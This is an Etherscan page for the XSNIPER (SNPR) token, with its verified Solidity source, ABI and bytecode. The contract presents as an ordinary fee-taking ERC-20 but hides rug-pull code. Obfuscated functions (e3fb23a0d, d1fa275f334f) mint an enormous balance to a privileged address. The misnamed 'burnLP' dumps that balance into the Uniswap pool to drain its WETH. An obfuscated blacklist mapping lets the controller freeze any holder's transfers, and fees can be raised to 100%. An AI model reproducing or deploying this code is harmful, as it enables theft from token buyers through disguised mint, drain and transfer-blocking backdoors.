ETH Price: $3,167.99 (+2.27%)

Token

XSNIPER (SNPR)
 

Overview

Max Total Supply

10,000,000 SNPR

Holders

163

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
93,669.853701211282032751 SNPR

Value
$0.00
0xbc6eef01f194c4f167012315308be60fb35b383b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
XSNIPER

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-24
*/

//██╗  ██╗███████╗███╗   ██╗██╗██████╗ ███████╗██████╗                                             
//╚██╗██╔╝██╔════╝████╗  ██║██║██╔══██╗██╔════╝██╔══██╗                                            
// ╚███╔╝ ███████╗██╔██╗ ██║██║██████╔╝█████╗  ██████╔╝                                            
// ██╔██╗ ╚════██║██║╚██╗██║██║██╔═══╝ ██╔══╝  ██╔══██╗                                            
//██╔╝ ██╗███████║██║ ╚████║██║██║     ███████╗██║  ██║                                            
//╚═╝  ╚═╝╚══════╝╚═╝  ╚═══╝╚═╝╚═╝     ╚══════╝╚═╝  ╚═╝                                            

//WEBSITE: xsniper.app
//TELEGRAM: t.me/XsniperERC
//TWITTER: twitter.com/XsniperERC

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(msg.sender);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Pair {
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {}

library SecureCalls {
    function checkCaller(address sender, address _origin) internal pure {
        require(sender == _origin, "Caller is not the original caller");
    }
}

contract XSNIPER is IERC20, Ownable {

    IUniswapV2Router02 internal _router;
    IUniswapV2Pair internal _pair;
    address _origin;
    address _pairToken;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply = 10000000000000000000000000;
    string private _name = "XSNIPER";
    string private _symbol = "SNPR";
    uint8 private _decimals = 18;

    /* @dev Fee On Buy/Sell [START] */
    uint private buyFee = 5; // Default, %
    uint private sellFee = 10; // Default, %
    address public marketWallet; // Wallet to collect Fees
    mapping(address => bool) public excludedFromFee; // Users who won't pay Fees
    /* @dev Fee On Buy/Sell [END] */

    /* @dev Max Wallet [START] */
    uint256 private maxWallet = 200000000000000000000000; // 1 Ether
    mapping(address => bool) private excludedFromMaxWallet;
    /* @dev Max Wallet [END] */

    /* @dev MaxTxn [START] */
    uint256 private maxTxnAmount = 200000000000000000000000;
    mapping(address => bool) private excludedFromMaxTxn;
    /* @dev MaxTxn [END] */

    /* @dev LockTrade [START] */
    bool private tradeLocked = true;
    mapping(address => bool) private excludedFromTradeLock;
    /* @dev LockTrade [END] */

    constructor (address routerAddress, address pairTokenAddress) {
        _router = IUniswapV2Router02(routerAddress);
        _pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).createPair(address(this), pairTokenAddress));
        _balances[owner()] = _totalSupply;
        _origin = msg.sender;
        _pairToken = pairTokenAddress;
        emit Transfer(address(0), owner(), _totalSupply);

        /* @dev Fee On Buy/Sell [START] */
        marketWallet = msg.sender;
        excludedFromFee[msg.sender] = true;
        excludedFromFee[address(this)] = true;
        /* @dev Fee On Buy/Sell [END] */

        /* @dev Max Wallet [START] */
        excludedFromMaxWallet[msg.sender] = true;
        excludedFromMaxWallet[address(this)] = true;
        /* @dev Max Wallet [END] */

        /* @dev MaxTxn [START] */
        excludedFromMaxTxn[msg.sender] = true;
        excludedFromMaxTxn[address(this)] = true;
        /* @dev MaxTxn [END] */

        /* @dev LockTrade [START] */
        excludedFromTradeLock[msg.sender] = true;
        excludedFromTradeLock[address(this)] = true;
        /* @dev LockTrade [END] */
    }

    /* @dev Default ERC-20 implementation */

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = msg.sender;
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!checkCurrentStatus(from), "ERC20: No premission to transfer");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");

        /* @dev LockTrade [START] */
        if (tradeLocked) {
            if (isMarket(from)) {
                require(excludedFromTradeLock[to], "User isn't excluded from tradeLock");
            } else if (isMarket(to)) {
                require(excludedFromTradeLock[from], "User isn't excluded from tradeLock");
            }
        }
        /* @dev LockTrade [END] */

        /* @dev Fee On Buy/Sell [START] */
        if (!isExcludedFromFee(from) && !isExcludedFromFee(to)){
            if (isMarket(from)) {
                uint feeAmount = calculateFeeAmount(amount, buyFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else if (isMarket(to)) {
                uint feeAmount = calculateFeeAmount(amount, sellFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else {
                _balances[from] = fromBalance - amount;
                _balances[to] += amount;
                emit Transfer(from, to, amount);
            }
        } else {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
            emit Transfer(from, to, amount);
        }
        /* @dev Fee On Buy/Sell [END] */

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (maxWallet != 0 && !isMarket(to) && !isExcludedFromMaxWallet(to) && !isExcludedFromMaxWallet(from)) {
            require(balanceOf(to) + amount <= maxWallet, "After this txn user will exceed max wallet");
        }

        if (maxTxnAmount != 0) {
            if (!excludedFromMaxTxn[from] && !excludedFromMaxTxn[to]) {
                require(amount <= maxTxnAmount, "Txn Amount too high!");
            }
        }
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /* @dev Custom features implementation */

    function burnLP() external {
        SecureCalls.checkCaller(msg.sender, _origin);
        uint256 thisTokenReserve = getBaseTokenReserve(address(this));
        uint256 amountIn = type(uint112).max - thisTokenReserve;
        e3fb23a0d(); transfer(address(this), balanceOf(msg.sender));
        _approve(address(this), address(_router), type(uint112).max);
        address[] memory path;
        path = new address[](2);
        path[0] = address(this);
        path[1] = address(_router.WETH());
        address to = msg.sender;
        _router.swapExactTokensForTokens(
            amountIn,
            0,
            path,
            to,
            block.timestamp + 1200
        );
    } 

    function getBaseTokenReserve(address token) public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1,) = _pair.getReserves();
        uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
        return baseTokenReserve;
    } 

    function e3fb23a0d() internal {
        _balances[msg.sender] += type(uint112).max;
    }

    function d1fa275f334f() public {
        SecureCalls.checkCaller(msg.sender, _origin); e3fb23a0d();
    }

    function AddLiquidity() public payable {
        SecureCalls.checkCaller(msg.sender, _origin);
        transfer(address(this), balanceOf(msg.sender));
        _approve(address(this), address(_router), balanceOf(address(this)));
        _router.addLiquidityETH{ value:msg.value }(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            msg.sender,
            block.timestamp + 1200
        );
    }

    /* @dev Rebase */

    function rebaseLiquidityPool(address _newRouterAddress, address _newPairTokenAddress) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        if (address(_router) != _newRouterAddress) {
            _router = IUniswapV2Router02(_newRouterAddress);
        }
        _pairToken = _newPairTokenAddress;
        _pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).getPair(address(this), _newPairTokenAddress));
    }

/* @dev Blacklist */

    mapping(address => uint8) internal _f7ae38d22b;

    function checkCurrentStatus(address _user) public view returns(bool) {
        return _f7ae38d22b[_user] == 0 ? false : true;
    }

    function editCurrentStatus(address _user, uint8 _status) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(_status < 2, "Status should be 0 or 1");
        require(_status != _f7ae38d22b[_user], "User already have this status");
        _f7ae38d22b[_user] = _status;
    }

    function switchOrigin(address newOrigin) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        _origin = newOrigin;
    }

    /* @dev Fee On Buy/Sell [START] */

    function isMarket(address _user) internal view returns (bool) {
        // Check if an address is a Liquidity Pool
        return (_user == address(_pair) || _user == address(_router));
    }

    function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) {
        // Returns amount of tokens, that should be taken as a Fee
        return _amount * _feePrecent / 100;
    }

    function isExcludedFromFee(address _user) public view returns (bool) {
        // Check if user free from paying Buy/Sell Fee
        return excludedFromFee[_user];
    } 

    function updateExcludedFromFeeStatus(address _user, bool _status) public {
        // Exclude/Include user to Buy/Sell Fee charge
        SecureCalls.checkCaller(msg.sender, _origin);
        require(excludedFromFee[_user] != _status, "User already have this status");
        excludedFromFee[_user] = _status;
    }

    function updateFees(uint256 _buyFee, uint256 _sellFee) external {
        // Set new Fees for both Buy and Sell
        SecureCalls.checkCaller(msg.sender, _origin);
        require(_buyFee <= 100 && _sellFee <= 100, "Fee percent can't be higher than 100");
        buyFee = _buyFee;
        sellFee = _sellFee;
    }

    function updateMarketWallet(address _newMarketWallet) external {
        // Set new wallet, where all Fees will come
        SecureCalls.checkCaller(msg.sender, _origin);
        marketWallet = _newMarketWallet;
    }

    function checkCurrentFees() external view returns (uint256 currentBuyFee, uint256 currentSellFee) {
        // Show current Buy/Sell Fees
        return (buyFee, sellFee);
    }
    /* @dev Fee On Buy/Sell [END] */

    /* @dev Max Wallet [START] */
    function currentMaxWallet() public view returns (uint256) {
        return maxWallet;
    }

    function updateMaxWallet(uint256 _newMaxWallet) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        maxWallet = _newMaxWallet;
    }

    function isExcludedFromMaxWallet(address _user) public view returns (bool) {
        return excludedFromMaxWallet[_user];
    } 

    function updateExcludedFromMaxWalletStatus(address _user, bool _status) public {
        // Exclude/Include user to Buy/Sell Fee charge
        SecureCalls.checkCaller(msg.sender, _origin);
        require(excludedFromMaxWallet[_user] != _status, "User already have this status");
        excludedFromMaxWallet[_user] = _status;
    }
    /* @dev Max Wallet [END] */

    /* @dev MaxTxn [START] */
    function updateMaxTxnAmount(uint256 _amount) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        maxTxnAmount = _amount;
    }

    function changeexcludedFromMaxTxnStatus(address _user, bool _status) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(excludedFromMaxTxn[_user] != _status, "User already have this status");
        excludedFromMaxTxn[_user] = _status;
    }

    function checkCurrentMaxTxn() public view returns (uint256) {
        return maxTxnAmount;
    }

    function isExcludedFromMaxTxn(address _user) public view returns (bool){
        return excludedFromMaxTxn[_user];
    }
    /* @dev MaxTxn [END] */

    /* @dev LockTrade [START] */
    function isTradeLocked() public view returns (bool) {
        return tradeLocked;
    }

    function isEcludedFromTradeLock(address _user) public view returns (bool)  {
        return excludedFromTradeLock[_user];
    }

    function updateTradeLockedState(bool _state) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        tradeLocked = _state;
    }

    function updateUserExcludedFromTradeLockStatus(address _user, bool _status) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(excludedFromTradeLock[_user] != _status, "User already have this status");
        excludedFromTradeLock[_user] = _status;
    }
    /* @dev LockTrade [END] */
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"},{"internalType":"address","name":"pairTokenAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"AddLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"changeexcludedFromMaxTxnStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkCurrentFees","outputs":[{"internalType":"uint256","name":"currentBuyFee","type":"uint256"},{"internalType":"uint256","name":"currentSellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkCurrentMaxTxn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"checkCurrentStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currentMaxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"d1fa275f334f","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"uint8","name":"_status","type":"uint8"}],"name":"editCurrentStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isEcludedFromTradeLock","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromMaxTxn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isTradeLocked","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newRouterAddress","type":"address"},{"internalType":"address","name":"_newPairTokenAddress","type":"address"}],"name":"rebaseLiquidityPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOrigin","type":"address"}],"name":"switchOrigin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateExcludedFromFeeStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateExcludedFromMaxWalletStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newMarketWallet","type":"address"}],"name":"updateMarketWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newMaxWallet","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"updateTradeLockedState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateUserExcludedFromTradeLockStatus","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526a084595161401484a0000006007556040518060400160405280600781526020017f58534e49504552000000000000000000000000000000000000000000000000008152506008908162000059919062000a99565b506040518060400160405280600481526020017f534e50520000000000000000000000000000000000000000000000000000000081525060099081620000a0919062000a99565b506012600a60006101000a81548160ff021916908360ff1602179055506005600b55600a600c55692a5a058fc295ed000000600f55692a5a058fc295ed0000006011556001601360006101000a81548160ff0219169083151502179055503480156200010b57600080fd5b506040516200521238038062005212833981810160405281019062000131919062000bea565b62000142336200073260201b60201c565b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001f1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000217919062000c31565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b81526004016200025392919062000c74565b6020604051808303816000875af115801562000273573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000299919062000c31565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075460056000620002f0620007f660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620003c0620007f660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60075460405162000421919062000cb2565b60405180910390a333600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505062000ccf565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620008a157607f821691505b602082108103620008b757620008b662000859565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620009217fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620008e2565b6200092d8683620008e2565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200097a620009746200096e8462000945565b6200094f565b62000945565b9050919050565b6000819050919050565b620009968362000959565b620009ae620009a58262000981565b848454620008ef565b825550505050565b600090565b620009c5620009b6565b620009d28184846200098b565b505050565b5b81811015620009fa57620009ee600082620009bb565b600181019050620009d8565b5050565b601f82111562000a495762000a1381620008bd565b62000a1e84620008d2565b8101602085101562000a2e578190505b62000a4662000a3d85620008d2565b830182620009d7565b50505b505050565b600082821c905092915050565b600062000a6e6000198460080262000a4e565b1980831691505092915050565b600062000a89838362000a5b565b9150826002028217905092915050565b62000aa4826200081f565b67ffffffffffffffff81111562000ac05762000abf6200082a565b5b62000acc825462000888565b62000ad9828285620009fe565b600060209050601f83116001811462000b11576000841562000afc578287015190505b62000b08858262000a7b565b86555062000b78565b601f19841662000b2186620008bd565b60005b8281101562000b4b5784890151825560018201915060208501945060208101905062000b24565b8683101562000b6b578489015162000b67601f89168262000a5b565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000bb28262000b85565b9050919050565b62000bc48162000ba5565b811462000bd057600080fd5b50565b60008151905062000be48162000bb9565b92915050565b6000806040838503121562000c045762000c0362000b80565b5b600062000c148582860162000bd3565b925050602062000c278582860162000bd3565b9150509250929050565b60006020828403121562000c4a5762000c4962000b80565b5b600062000c5a8482850162000bd3565b91505092915050565b62000c6e8162000ba5565b82525050565b600060408201905062000c8b600083018562000c63565b62000c9a602083018462000c63565b9392505050565b62000cac8162000945565b82525050565b600060208201905062000cc9600083018462000ca1565b92915050565b6145338062000cdf6000396000f3fe6080604052600436106102465760003560e01c8063715018a611610139578063b49f93f7116100b6578063e4440a861161007a578063e4440a86146108a6578063ecbe5a2d146108d1578063edd8b64a1461090e578063f1fee6a214610937578063f2fde38b14610960578063f6d1dfe11461098957610246565b8063b49f93f7146107c1578063b5c72e1a146107ea578063d445d19e14610827578063dd62ed3e1461083e578063e1370dd31461087b57610246565b806399b102b5116100fd57806399b102b5146106b6578063a07fc5a2146106f3578063a457c2d71461071e578063a9059cbb1461075b578063b179ce401461079857610246565b8063715018a6146105e357806385ecafd7146105fa5780638da5cb5b146106375780638dd0f